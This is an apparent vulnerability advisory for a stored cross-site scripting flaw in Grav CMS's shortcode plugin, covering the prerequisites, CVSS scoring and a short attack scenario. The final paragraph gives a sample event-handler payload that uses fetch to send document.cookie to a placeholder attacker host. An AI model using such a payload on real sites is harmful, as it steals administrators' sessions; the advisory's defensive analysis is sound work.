Grav CMS CVE-2026-64628

Exploitation requires the attacker to hold the admin.pages permission within Grav CMS - this is a non-default permission granted explicitly to user accounts and is not available to unauthenticated visitors or standard subscriber-level users. The shortcode-core plugin must be installed and active (it is included in the default Grav package). A second user - specifically one who can trigger page rendering, such as an administrator - must view the page containing the injected shortcode attribute after it is saved. The impact of nonce theft is limited to the session of the viewing user at the time of execution; it does not provide persistent server-side access on its own. Exploitation is limited to installations where the admin.pages permission has been delegated to users who are not fully trusted.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/SC:L/SI:L) correctly positions this as medium severity. The low-privilege requirement (admin.pages permission, PR:L) is a meaningful barrier - this is not a zero-auth vulnerability. The passive user interaction (UI:P) is also a realistic constraint, though for stored XSS it is virtually guaranteed since admins regularly review content. The most dangerous element is the impact chain: a content editor (lower privilege) can compromise an administrator (higher privilege) through nonce theft, representing a privilege-escalation-via-XSS pattern that CVSS alone understates. No EPSS data was provided, no KEV listing exists, and no POC has been identified in available intelligence. Real-world risk is moderate for organizations where content editing permissions are granted broadly; risk is low for installations with tightly controlled admin.pages delegation. The missing version ceiling in CPE data means the scope of affected deployments cannot be precisely bounded from current intelligence alone.

An attacker who holds admin.pages permission - such as a lower-privileged content editor - crafts a shortcode attribute containing a bracket-free JavaScript payload (e.g., an event handler like onload=fetch('https://attacker.example/steal?c='+document.cookie)). When a site administrator browses the affected page, the payload silently executes in their browser, exfiltrating the admin session nonce to an attacker-controlled endpoint and enabling subsequent authenticated actions as the administrator. No public exploit code has been identified, but this attack pattern is well-understood and requires no specialized tooling.